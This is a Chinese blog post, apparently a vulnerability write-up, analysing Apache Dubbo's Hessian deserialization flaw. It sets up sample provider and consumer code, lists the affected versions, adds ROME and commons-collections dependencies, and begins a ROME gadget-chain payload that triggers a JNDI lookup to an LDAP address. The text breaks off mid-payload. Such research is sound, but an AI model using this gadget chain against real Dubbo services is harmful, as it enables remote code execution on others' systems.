• Dubbo反序列化漏洞分析集合


    Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用、智能容错和负载均衡、以及服务自动注册和发现。

    Dubbo RPC是Apache Dubbo体系中最核心的一种高性能、高吞吐量的远程调用方式,主要用于两个Dubbo系统之间远程调用。在Dubbo RPC中,支持多种序列化方式,如dubbo序列化、hessian2序列化、kryo序列化、json序列化、java序列化等等

    官方推荐的默认Dubbo协议

    其架构主要是:

    节点 角色说明
    Provider 暴露服务的服务提供方
    Consumer 调用远程服务的服务消费方
    Registry 服务注册与发现的注册中心
    Monitor 统计服务的调用次数和调用时间的监控中心
    Container 服务运行容器

    调用关系说明

    1. 服务容器负责启动,加载,运行服务提供者。
    2. 服务提供者在启动时,向注册中心注册自己提供的服务。
    3. 服务消费者在启动时,向注册中心订阅自己所需的服务。
    4. 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
    5. 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
    6. 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。

    直接使用官方的案例

    GitHub - apache/dubbo-samples: samples for Apache Dubbo

    其中有一个http的例子

    使用Dubbo服务需要有一个注册中心zookeeper

    Apache ZooKeeper

    一个接口

    1. package org.apache.dubbo.samples.http.api;
    2. public interface DemoService {
    3. String sayHello(String name);
    4. }

    实现类

    1. public class DemoServiceImpl implements DemoService {
    2. @Override
    3. public String sayHello(String name) {
    4. System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name +
    5. ", request from consumer: " + RpcContext.getContext().getRemoteAddress());
    6. return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress();
    7. }
    8. }

    服务提供者

    1. public class HttpProvider {
    2. public static void main(String[] args) throws Exception {
    3. ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-provider.xml");
    4. context.start();
    5. System.out.println("dubbo service started");
    6. new CountDownLatch(1).await();
    7. }
    8. }

    消费者

    1. public class HttpConsumer {
    2. public static void main(String[] args) throws Exception {
    3. ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");
    4. context.start();
    5. DemoService demoService = (DemoService) context.getBean("demoService");
    6. String result = demoService.sayHello("world");
    7. System.out.println(result);
    8. }
    9. }

    同样需要在资源目录下配置提供者和服务者的配置

    http-provider.xml : 配置了接口和实现类

    1. <beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    2. xmlns:dubbo="http://dubbo.apache.org/schema/dubbo"
    3. xmlns="http://www.springframework.org/schema/beans" xmlns:context="http://www.springframework.org/schema/context"
    4. xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
    5. http://dubbo.apache.org/schema/dubbo http://dubbo.apache.org/schema/dubbo/dubbo.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
    6. <context:property-placeholder/>
    7. <dubbo:application name="http-provider"/>
    8. <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
    9. <dubbo:protocol name="http" id="http" port="${servlet.port:8080}" server="${servlet.container:tomcat}"/>
    10. <bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/>
    11. <dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>
    12. </beans>

    http-consumer.xml : 配置了访问的接口

    1. <beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    2. xmlns:dubbo="http://dubbo.apache.org/schema/dubbo"
    3. xmlns="http://www.springframework.org/schema/beans" xmlns:context="http://www.springframework.org/schema/context"
    4. xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
    5. http://dubbo.apache.org/schema/dubbo http://dubbo.apache.org/schema/dubbo/dubbo.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
    6. <context:property-placeholder/>
    7. <dubbo:application name="http-consumer"/>
    8. <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
    9. <dubbo:reference id="demoService" interface="org.apache.dubbo.samples.http.api.DemoService"/>
    10. </beans>

    最后分别启动 zookeeper 提供者,消费者

    2.7.0 <= Dubbo Version <= 2.7.6

    2.6.0 <= Dubbo Version <= 2.6.7

    Dubbo 所有 2.5.x 版本(官方团队目前已不支持)

    这里主要是因为dubbo默认通过hessian协议进行反序列化造成的漏洞,我参照官方的example作为环境

    https://github.com/apache/dubbo-spring-boot-project

    下载漏洞版本2.7.5,同样可以clone之后修改pom.xml文件

    我们使用其中的 provider 样例作为服务提供者

    首先在pom.xml中条件利用依赖,有很多利用链,根据有什么依赖打什么链子,比如 SpringPartiallyComparableAdvisorHolder SpringAbstractBeanFactoryPointcutAdvisor Rome ROME+CC Groovy 等等多条利用链

    这里我们通过Rome打JNDI注入和ROME+CC不出网进行例子

    首先添加ROME依赖和CC依赖

    1. <dependency>
    2. <groupId>com.rometools</groupId>
    3. <artifactId>rome</artifactId>
    4. <version>1.7.0</version>
    5. </dependency>
    6. <dependency>
    7. <groupId>commons-collections</groupId>
    8. <artifactId>commons-collections</artifactId>
    9. <version>3.2.1</version>
    10. </dependency>

    因为JNDI注入在高版本JDK中有着限制,当然也有着高版本绕过方法,但是我们这里方便使用,我们直接将其属性值置为true

    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    

    之后配置 comsumer 环境

    条件一个getPayload方法形成ROME链

    1. private static Object getPayload() throws Exception {
    2. //反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
    3. String jndiUrl = "ldap://127.0.0.1:1389/xitdbc";
    4. JdbcRowSetImpl rs = new JdbcRowSetImpl();
    5. rs.setDataSourceName(jndiUrl);
    6. rs.setMatchColumn("foo");
    7. //反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString
    8. ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
    9. //反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode
    10. EqualsBean root = new EqualsBean(ToStringBean.class, item);
    11. //Ha
  • 相关阅读:
    自建or用SaaS|ToB企业如何玩转官网数字化改造
    map 和 set 的一起使用
    Haddop+Hive 单机hadoop 单机hive
    【Stable Diffusion】入门-02:AI绘画提示词+参数设置攻略
    Linux安装包 | Git使用 | NFC搭建
    降温无叶风扇出口英国UKCA办理内容
    jmeter提取request body中的数据,作为下个接口的入参
    Verdi实现信号的平移
    VINS——Fusion学习01 官方教程翻译解读
    C语言——从头开始——深入理解指针(1)
  • 原文地址:https://blog.csdn.net/AS011x/article/details/126778553